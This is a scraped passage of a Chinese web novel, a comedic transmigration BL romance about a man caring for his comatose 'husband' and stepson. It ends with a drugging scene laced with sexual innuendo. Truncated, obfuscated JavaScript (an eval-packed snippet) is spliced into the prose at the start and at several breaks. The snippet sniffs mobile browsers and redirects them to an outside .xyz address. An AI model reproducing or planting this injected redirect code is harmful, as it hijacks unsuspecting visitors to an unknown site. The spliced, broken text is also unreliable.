d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14687066|156557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 一定!!! 啊……提到这个,自己忍不住很想先染指一下,是怎么回事…… 刚刚的手感好像已经忘不掉了啊…… 程乐言费了大劲,终于忍住向老板伸出魔爪。 脑海中,419道:【原著里他身上肯定没什么系统,才这么多年没醒过来。宿主,你要是想让他提前醒来兑现别墅,可以考虑帮他搞定一些任务。】 程乐言:【那应该怎么做呢?】 419:【嗯……大概就是……做一些涩涩的事?】 程乐言:【可拉倒吧,我还是有一种名为节操的东西的统子爹。我就算再想要别墅,我也不可能做这种事的好不好!我直说了,我程乐言就是饿死,死外边,从这里跳下去,也绝不用这种方法拿到别墅!】 义正填膺地说完了,又小声加上一句:【再说了,把人家老板惹毛了,觉得我是个猥琐男,回头别墅不给我了怎么办。】 419:【……就知道你还是为了别墅!】 又道:【行叭,随你怎么样啦宿主。话说回来,容妄之身上的系统肯定是个菜鸡。能帮助植物人沟通的道具很多的,它选的这个性价比巨低! 【有个“dirty talk”的道具就很好用啊,便宜而且时效更长呢。或者把某橡胶制品的震动效果当莫斯码用,也能传递信息,还更便宜。结果它选了个最贵的,太菜了太菜了。】 程乐言差点喷出来:【什么鬼??什么当莫斯码用!?】 419:【就那个呀——】 程乐言捂住了耳朵:【你别说了,我不想听!!】 你们R18组也太恐怖了一点! 于是同时。 容妄之:【系统,就没有别的道具可用吗?】 他觉得这五分钟过的未免太快了。 250委委屈屈:【没有了吧。宿主你不知道,R18商城里都是些奇奇怪怪的东西,我眼睛都要瞎了……啊啊啊,明明我是剧情组的啊!从前推剧情任务我每次都是0帧起手进度飞快,做起来轻轻松松,为什么把我派到这里来了啊!为什么!!!】 容妄之懒得听系统发癫。 最初使用那个道具,真的是咬着牙用的,但凡一想到刚刚两人沟通时,程乐言的手是放哪儿了,容妄之都尬得恨不得把250拖出来埋了。 但…… 妈妈说得对,和程乐言很好沟通。对方条理清晰、目标明确、举一反三,和他沟通是件很愉快的事。 而且,“骗了我钱的王八蛋”这个称呼,也莫名让他心情舒畅。 250奇道:【这有什么心情舒畅的?跟你有关系吗宿主?话说回来,宿主,我觉得你的心声似乎越来越多了呢!是因为我们越来越熟了吗?哇,好棒,我们终于也培养出了一些默契,有了一点组队的感觉呢!不过到底为什么心情舒畅啊?】 容妄之:【……你如果不会说话,就不要说。】 19.魔法亲亲 250对宿主的脾气真的是摸不清头脑,最后委委屈屈地闭嘴了。 有了别墅当动力,程乐言对容妄之的事,更是上心。尤其涉及和容妄之身体接触相关的,能自己动手都是他自己动手。 主要也是,金主爸爸的腹肌那么漂亮,万一护工乱摸呢!他这也是为了老公着想,毕竟419都说他是个0了,别让人占了便宜嘛。 反正“腹肌”是个buff,就干脆等buff消失之后再交给护工好了。 419:【你以为都像你这样,摸着腹肌不撒手啊。】 程乐言:【统子爹,你是没摸到你才这么说,你要能摸到你也不撒手。】 一整天忙活容妄之、顺带陪濯濯,就还挺忙的,李管家看了都连连点头,悄悄打小报告给夫人,表示少奶奶的薪水可以加了。 到了晚上,程乐言照例陪濯濯一起读绘本,今天最先读的是《魔法亲亲》。 只是为了守护容妄之的腹肌——不不,应该是为了让濯濯和容妄之更熟悉,更贴近,培养他们的父子情感,所以绘本共读的地点,换去了容妄之的房间。 李管家找出一块厚厚的地毯,铺到容妄之的床前,程乐言就带着濯濯坐在毯子上,一起读绘本。 故事很简单,讲的是小浣熊要去读幼儿园了,但是不想和浣熊妈妈分开,浣熊妈妈就拿起小浣熊的手,在它手心里留下了一个亲吻。妈妈说这就是“魔法亲亲”,拥有魔法的力量,会带着妈妈的爱,一直陪着小浣熊。想妈妈的时候,张开手掌,把魔法亲亲印在脸上,就能感受到妈妈的爱了。 待故事讲完,程乐言就在濯濯手心里也留下了一个魔法亲亲,然后他说:“宝贝,后爸告诉你一个秘密好不好?但这个秘密只属于我们两个人,你不能告诉奶奶或者李管家他们,可以吗?” 濯濯有些迷惑,他想了想,仍然郑重地点了点头。 程乐言道:“今天我和你爸爸说过话了。” 濯濯的眼睛猛然间亮了起来,颇为激动地抓住了程乐言的手。 程乐言赶紧道:“没有,不是说他醒过来了,是……嗯……这个我要保密,总之我没有骗你,我和他说过了话。你爸爸拜托我向你转述一句话。” “濯濯,宝贝,他要我告诉你,他爱你。他一定会尽快醒来,陪你长大。” 程乐言抓住濯濯的手,把刚刚留下“魔法亲亲”的掌心合起,他说:“宝贝,这是我代替爸爸给你留下的魔法亲亲。想他的时候,你就记住,你的爸爸,他爱你。” 濯濯死死地用力地攥紧了手,好像生怕这个“魔法亲亲”在他张开手掌后,就会飞走。 他的眼圈都红了,眼睛里蕴满了眼泪。 幼崽站起来,跑到容妄之的床边,摊开对方苍白的手,在掌心里留下了一个亲亲。 他也爱爸爸。 这是他给爸爸的魔法亲亲。 他希望这个亲亲真的能有魔法,这样爸爸可以感受到他的爱,爸爸能快点醒过来。 幼崽发自内心地如此期望。 从程乐言讲故事开始,容妄之便恢复了意识。他听着程乐言讲述了那个温暖的充满爱意的故事,听着程乐言说“你的爸爸永远爱你”,听着这一切。 容妄之心中被无限的复杂情绪所充满。 他是个植物人,他不该有感觉的,但是他偏偏有了感觉,他仿佛感受到濯濯在他手掌心留下的那个亲亲,带着热力,穿过皮肤融入到身体之中。而他想把手攥紧。 亲亲真的是有魔法的。 在幼崽和程乐言都没看见的地方,容妄之的手指尖,非常轻微地动了动。 . 第二天上午,程乐言让李管家带濯濯去上语言干预课,自己则去完成金主爸爸交代的事,找星融庄的负责人方引传话。 怕见不到人,他还拜托容妈妈那位陈助理,帮忙约了个时间。 方引很给陈助理面子,程乐言顺利见到了人。只是对方臭着张脸,拽得二五八万一样,挺不客气地开门见山道:“找我什么事?” 程乐言道:“我听说你们现在出了一些困难,有句话想带给你。” 方引嗤之以鼻:“困难?什么困难?我们势头非常猛,就没有任何困难!你哪儿听的黑料啊,居然也信。” 程乐言:“……兄弟,话别说太满,小心被打脸。” 方引瞥他一眼,开嘲讽了:“不是,程乐言,你真以为我不知道你什么情况啊?你就是我们容总他妈病急乱投医,被骗子给钻了空子了!你该不会真觉着你是我们容总老婆吧,我们容总知道你是谁吗!?别装了行不,要点脸。” 程乐言也没生气,微微一笑,一脸高深莫测地淡淡道:“我知道三年前万圣节的事。” 方引:…… 方引:……………… 他一个踉跄,腿一软差点跪了,脸上丰富多彩,简直就跟打翻了调色盘。 总之一分钟之后,他舔着笑脸请程乐言坐下,给人泡了茶,双手递过去,笑得无比谄媚:“嫂子,哎刚刚不好意思,得罪了得罪了。你说这事儿整的,这不是大水冲了龙王庙,一家人打一家人吗!容总也是的,那事儿都跟你说,你你你,嫂子你忘了吧。” 程乐言茶没接,道:“嗯,我绝对会忘了三年前万圣节发生了什么,也绝对不会告诉任何人三年前万圣节的事,就连说梦话,我都绝对不会说出三年前万圣节的一切。” 方引脸上的笑容都差点裂了,伸手开玩笑似的给自己脸上拍了一下,苦着脸说:“嫂子,我之前是真不知道。怪我怪我,是我嘴贱,你要是还生气,要不我给你磕两个吧。” 程乐言噗嗤乐了。他说:“行了说正事,今天来,主要是想告诉你,六年前,曾经有个id叫‘Phantom’的人,给当时还年轻的曾设计师提供了很大的帮助,那个人就是妄之。怎么样,够你解决这次的麻烦了吧。” 方引眼睛亮了,拍着大腿道:“太够了啊!大嫂,这你居然都知道!行了妥妥的,这次曾老师那边肯定没问题了!果然啊,这种重要工作还得靠我们容总出马——还有我们嫂子!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14700486|156557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>程乐言:“别‘嫂子’‘嫂子’的。我跟妄之曾经是网友,关系不错,所以知道一些事。” 方引:“万圣节那事儿你都知道,你就是我嫂子没跑了啊!不是网友,是网恋吧。天哪我真的不敢相信,容总居然搞网恋,震惊我全家!不是说你不好,大嫂,主要是容总每天都很忙啊,你知道吧他还有个外号叫‘工作机器’,他一个人都能顶我们六个人的工作量,我其实都怀疑他是不是每天通宵不睡觉,所以他哪来的时间在网上聊天啊?不过这就是优秀的人的日常吗?我们容总可优秀了我跟你讲……” 这人吧啦吧啦说了起来。结果居然还是个话痨啊。 程乐言忍不住觉得好笑。 但又从这个人的话语里,拼凑出了一个冷硬,话少,强势,沉肃的“工作机器”形象。 这么说起来,有点难以和容老板的外表联系到一起呢。 毕竟他曾经见过对方的嘟嘟唇,睫毛精,卡姿兰大眼睛,还有那一滴绝美落泪。 当然,不能忘了那个手感极好的腹肌。 糟糕,又在想腹肌了……程乐言火速驱赶走了脑海中的画面,脸颊都红了一些,若无其事地移开眼。 他和方引聊了一会儿,听对方说了一些容妄之过去的事,便提出告辞。方引表示改天一定要请他吃饭,还说要去家里看看容妄之云云,后来又亲自把人送了出去,直送上车。 程乐言又跑了一下紫琅湖别墅,大概熟悉了一下里面的情况,省得之后和容爸容妈说话会对不上。再看看时间,都要到中午了,他火速开车回家。 回去第一件事是抱着濯濯,问候了幼崽上午的课程。第二件事就是放下濯濯,赶紧往容妄之那儿跑。 然后迫不及待把容妄之衣服扣子解开了。 他整个人不可置信地愣在原地。 来回看了半天,又忍不住伸手确认了一下,到处都摸遍了,终于不可置信地惊叫道:“什么情况,老公你腹肌呢?我老公的腹肌哪里去了!?” “没有了……居然没有了吗!” 说着不禁悲从中来:“什么啊,真的没有了!这么快就没有了!!怎么这样!我明明已经尽快回家,明明已经很努力了啊,还是没赶上,还是没有了!早知道早上多摸摸了!!” 清醒过来的容妄之本人:………… 为什么你听起来还有点遗憾!?!? 那玩意真的很好摸吗?? 到底是有多好摸啊? 三秒钟后。 容妄之:【有什么了不起,不过是腹肌而已,还是被生造出来的虚假的腹肌,有什么意思。】 三十秒钟后。 容妄之:【我过去也有腹肌,现在是因为植物人躺久了才没有的。】 一分钟后。 容妄之:【等我醒来,两个月就会把腹肌练回来。】 三分钟后。 容妄之:【系统,出来。你们的buff还能重复刷吗。或者,能用积分买吗,报价拿来。】 系统:【???您有事?】 20.下药 容妄之都在问buff报价了,250就说,这玩意哪有报价,所有buff都是主脑运算安排的,哪有报价,没听说能刷。 容妄之:【废物。】 250:…… 250:【我能采访一下你的心路历程吗宿主?你是怎么走到这一步的?我真的很好奇,真的想知道!】 容妄之:【静音。】 与此同时,程乐言还正因为失去的腹肌而陷入悲伤无法自拔,还是419在他脑海中道:【你打起点精神来啊宿主!这些buff都可以刷的,虽说这看起来很像是主脑随机安排,但都有迹可循呀,我从前宿主经常一个buff用一辈子呢。你好好干,以后一切皆有可能!】 程乐言没吃它画的大饼,无精打采:【哦。】 419祭出绝招:【想想你即将拿到的别墅啊宿主!现在这副没有干劲的样子是怎么回事!】 程乐言这才:【行吧。】 他也搞不清楚容妄之现在到底什么情况,能不能听到他说话,但老板交代的任务肯定要给回复嘛,于是对着植物人,说了下见到方引的情况。 刚交代完工作,电话就响了。 来自项景洲那个大剑男的。他就他妈过来闹事的事向程乐言道歉,还说他老妈被气的胸口疼,去医院挂了急诊,现在还在医院输液。 程乐言:哈?还有这种好事!下次再有这种好事请速速告知! 程乐言当初几句话挑拨,导致项妈妈骂了项景洲好久,他手里还有录音。这时反手发了过去,希望这帮垃圾赶紧狗咬狗。 末了跟项景洲虚与委蛇两句,挂电话后忍不住骂骂咧咧一通:“辣鸡剑男人,骗感情就算了,居然还敢骗钱!!等老子把钱要回来,你丫给我该死哪儿就死哪儿去吧!” 容妄之终于不再纠结腹不腹肌的事,专注听程乐言骂剑男。听完全程后内心微微一动:大概了解是怎么回事了。 应该是程乐言年轻的时候,被个狗男人骗了钱,程乐言弱小无助可怜,现在只能卑微地和对方周旋,好伺机把钱要回来。 程乐言能力很强,人也很好,很善良,就是太单纯了一些,容易受骗。 他倒是有很多种办法能帮上忙,主要问题还是怎么对外沟通。 系统250无语插嘴:【不是,宿主,我完全没看出来他哪里弱小无助可怜单纯啊,是咱们听到的东西不一样吗。他刚刚骂的还中气十足呢!】 容妄之:【系统,程乐言做事比你强得多。你听说过哪个业绩垫底的会在老板面前讲销冠坏话吗。】 系统250:……默默闭嘴。 程乐言又惋惜了一下逝去的肌肉,随后开始帮容妄之全身按摩。 他真切道:“老公,你快醒过来叭。” 好把别墅快给我呀。 容妄之一动不动,仿佛像是睡着了。 * 接下来的日子,程乐言观察了几天,主要看护工的工作。两个护工都很给力,两小时一翻身分秒不差,也每天定时按摩拍背,活动关节,做一些基础康复动作,比如站床。 还有护士定时来做热敷和针灸,一切有条不紊地进行,容妄之被照顾得很好。 程乐言自己的“冲喜”行为也变成日常。 每天早上,他都会为容妄之朗读各种沙雕新闻,励志段子,希望能激励老公的心灵。 还会和濯濯一起,为他敲电子木鱼,积攒赛博功德。但应老公自己的要求,他还是把那念佛声给停了,于是敲电子木鱼时就变成了纯粹的“咚咚咚”声音,还挺解压。 晚上和濯濯的亲子共读时间,就继续在容妄之床边的毯子上进行。他和濯濯一起读绘本,顺带一起攻读《刑法》,将法制咖的未来遏制在摇篮里。 慢慢的他和濯濯都养成了习惯,白天时也更愿意在容妄之床边待着了。那块大大的厚厚的毯子,就变成了程乐言和濯濯的小地盘,搭积木、玩玩具都在那里。 有闲的时候,程乐言也会自己动手,帮容妄之按摩擦身。 不知道是哪点起了作用,两周后容妄之去医院接受定期检查,结果非常惊喜。 医生表示他的大脑层异常活跃,是一个好现象,甚至第一次给出了乐观的结论:容先生醒来的几率非常大。 容妈妈当场激动落泪。 当场决定不用等三个月试用期,马上就给程乐言调薪20%。 程乐言当场跟着激动落泪。 又过了几天,便到了容奶奶的生日晚宴。 晚宴设在周日,周六下午容妈妈就派车来接,说第二天人很多,可以趁今天晚上先小聚一下。 容妄之也被放轮椅上推着来了。容妈妈原话是:“你们是夫妻,怎么可以分开呢?冲喜就是要一直冲着才对,不能断的,继续冲啊!冲!!!” 程乐言:“……冲冲冲我的中国龙?” 容家老宅特别大,从进大门到主屋的门口,车都开了五分钟。程乐言看得眼花缭乱,直观感受就是,跟公园似的。 不禁在脑海里激情开麦:【统子爹,原来这就是资本主义的生活,太奢靡了,太浪费了,太过分了!这样的有钱人,为什么不能加我一个!】 系统:………… 给宿主加了个标签“豪门赘婿”。 程乐言本来以为晚上就有机会见到容爸容妈,这样也好把容妄之遗嘱的事交代下,却没想到,晚上的晚餐只有容妈妈、容奶奶加上他和濯濯四人。 容爸爸没到,容爸的弟弟,也就是二房全家,也是全部缺席。 这是……跟自己有关吗?觉得他们的缺席能给自己一个下马威还是怎么着?程乐言觉得好笑。豪门也这么幼稚啊。 容妈妈倒是非常淡然:“他们都有事,不用管他们。” 容奶奶也非常淡然:“是啊,人多闹腾。濯濯,到太奶身边来!哎呀濯濯是不是又胖了?我感觉妄之好像也胖了,他俩气色都不错啊。小程,辛苦你了。念念,咱给小程涨点生活费吧!算我的!” 容妈妈:“妈,哪儿用算你的。行,本来就说要给他涨薪20%的,那现在干脆涨薪30%吧,再加个每年14薪。” 程乐言瞬间乐得牙花子都出来了:“哎呀奶奶,妈妈,您两位也太客气啦!来妈妈我给您倒饮料。奶奶,您就不喝饮料了哈,就喝这个大麦茶,降血糖的。” 那叫个殷勤。 他本就非常善于活跃气氛,容妈妈容奶奶也买账,晚餐吃得宾主尽欢。 晚饭后,程乐言就先回房安顿容妄之。 容妄之在老宅里有固定房间的,和容爸容妈一栋楼,他住顶楼。那是处套房,还带个儿童房,从前他带濯濯回老宅也是住那里。护工住在另一栋楼的客房,这个晚上,程乐言是打算和容妄之住一起的,方便照顾对方。 大床当然是金主爸爸睡,他叫佣人搬了个单人床放卧室。 收拾妥当后,濯濯表示可以自己玩儿,程乐言就去找容妈妈,进行了最近的工作汇报。 同时听容妈妈给他大概说了下容家的家庭组成。 容妄之和容妈妈这边属于大房,容妄之的爸爸还有个弟弟,属于二房。 二房也是独子,叫容礼之,他没结婚,一直在海外开拓市场。他有个儿子,今年4岁,留在国内。如今大家都住在老宅,只是分住不同的楼里。 容妈妈也直说了:“濯濯身上有容氏3%的股份,当初老爷子留给他的,二房惦记很久了。明天家里人多,你护着点濯濯。” 程乐言点头:“知道了妈。” 聊完后,他下楼去找濯濯。 电梯刚听,门还没开呢,就听到有小孩子在尖叫:“给我,给我,是我的!” 那声音能震破耳膜。 程乐言心中一惊,冲出电梯,看到一个比濯濯大些的小男孩,正在用力地把濯濯手里的玩具往自己这边拖。 抢的还是他此前带濯濯吃肯德基儿童餐时,送的那个比卡丘。 程乐言对自己抠抠搜搜,对濯濯是真的大方,濯濯现在玩具巨多。但是幼崽最爱的,始终还是那个比卡丘,走到哪儿都带着。 这时候,就见濯濯眼圈都红了,眼泪在眼眶里打转,但仍然死死地抓着比卡丘不放手。 有保姆围在旁边,嘴里在劝,在说“子涵少爷,不能抢哦”,但手上一点动作没有。 对方年纪更大,力气也更大些,眼看着就要把比卡丘抢过去了,程乐言血压直接飙升,提高声音道:“弟弟还要玩,不能抢弟弟的玩具!” 说着就快步走了过去,一把就把比卡丘抢了过来,塞濯濯手里。 结果这可捅了马蜂窝。濯濯还没怎么样呢,对方小孩反倒是往地上一坐,一边伸腿不停扑腾,一边嗷嗷大哭起来,伴随尖叫声无数。 叫声堪称魔法攻击了,程乐言脑子嗡嗡的。 这就是容家二房的那个孩子,算是濯濯的堂哥,名为容子涵。 对,就是“子涵”。看名字都能想象到他是怎样的孩子了。 他在《囚爱》里也有戏份,基本就是个跳梁小丑没本事的二世祖形象,濯濯开始对主角受有意思的时候,这家伙居然也跳出来横插一手,想追主角受,最后当然是被啪啪打脸。 想不到他年幼的时候就是个熊孩子了啊! 保姆想要去哄,但被这熊孩子无影腿一顿乱踢,压根抱都抱不起来。 保姆愁眉苦脸,没给程乐言打招呼,反而看向了濯濯:“这可怎么办,把我们子涵少爷都惹哭了。濯濯少爷,你懂事,要不你让让哥哥,就把你那个玩具给哥哥吧。小朋友都要学会分享。” 濯濯紧张坏了,牢牢地护着玩具,抬头去看程乐言。 程乐言伸手环住他肩膀,非常坚定地挡在他前面,道:“别跟孩子说,你有话跟我说。这个玩具是我们濯濯的,他还要玩,不想分享。你要教会你们子涵少爷懂礼貌,不是去教别的孩子让让他。” 这话一出来,濯濯明显安心很多,但是地上的子涵一听,更是撒泼打滚,分贝加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孩子吵架只是个小插曲,但毕竟涉及其他的容家人,程乐言还是给容妈妈微信报备一声。 容妈妈反应超大,直接骂二房骂了好几条59秒的语音,接着又给程乐言转了一万块钱,就说程乐言做得好,玩具必须得抢回来。 程乐言:????? 你们有钱人的钱未免太好赚了一点! 容妈妈表示她现在就要去把二房骂一顿。结果等濯濯睡着后,容家老宅的管家来敲门了,说子涵小少爷正等在楼下,想当面给程乐言道歉。 看来容妈妈在家里地位很高啊! 程乐言随管家下楼,就见到之前那位育儿嫂正牵着子涵小朋友站在楼下。 之前满地乱滚的熊孩子,如今耷拉个脑袋,乖得不行。他抽了下鼻子,走到程乐言跟前,鞠了个躬,瓮声瓮气地说:“对不起。” 程乐言再怎么样也不至于跟个四岁小孩计较,道:“没事儿。不过我不能代替濯濯弟弟原谅你,你想道歉的话,明天和濯濯说吧。” 子涵又把一罐插着根吸管的旺仔牛奶,递到了程乐言跟前:“我先和你道歉,那,你能原谅我吗?” 程乐言便接过了旺仔牛奶:“嗯,原谅你了。” 子涵又抽了下鼻子,眼巴巴地说:“那你能喝一口吗?” 程乐言觉得好笑,就喝了几口那旺仔牛奶:“行了,我喝啦。” 子涵这才终于松了口气。 态度还挺诚恳,孩子看来还有救。程乐言想着,转身上楼。随后洗漱一下,准备玩儿会手机再睡觉。 只是他洗澡洗一半就开始觉得哪里不对。 他很热,非常热,全身上下都觉得热,脑子更是出现了一点眩晕。 他直接停水,胡乱擦了擦,在脑子里道:【统子爹,什么情况?我怎么感觉怪怪的。】 系统419:【稍等宿主,你心率是有点不正常,我正在查。】 脑子太乱,程乐言都要听不清系统说话。 他就好像喝醉了酒,觉得很热,眼前的一切都变得模糊,压根没法走直线,家居服也没穿,胡乱地往床上一躺。 结果就是床单碰到他皮肤上面的感受,都让他情不自禁地发出了一些什么声音。 再有就是,某种反应有些过于明显了。 靠,该会不是吃了不该吃的东西了吧?但是我今天也没吃什么喝什么啊。 程乐言努力让大脑保持运转,但意识变得更迷乱了。他很热,他想要碰触,想要别的,想要更多。 他或许发出了什么声音,或许没有,他自己也说不清楚。 他往旁边摸,来回摸,想拿被子给自己盖起裹住。 但是他没摸到什么被子。 反而摸到了别的东西。 程乐言迷迷糊糊地骂道:“神经病啊,谁往我床上放了根甘蔗。还这么大一根甘蔗。” 等等,好像不是甘蔗。 再摸摸。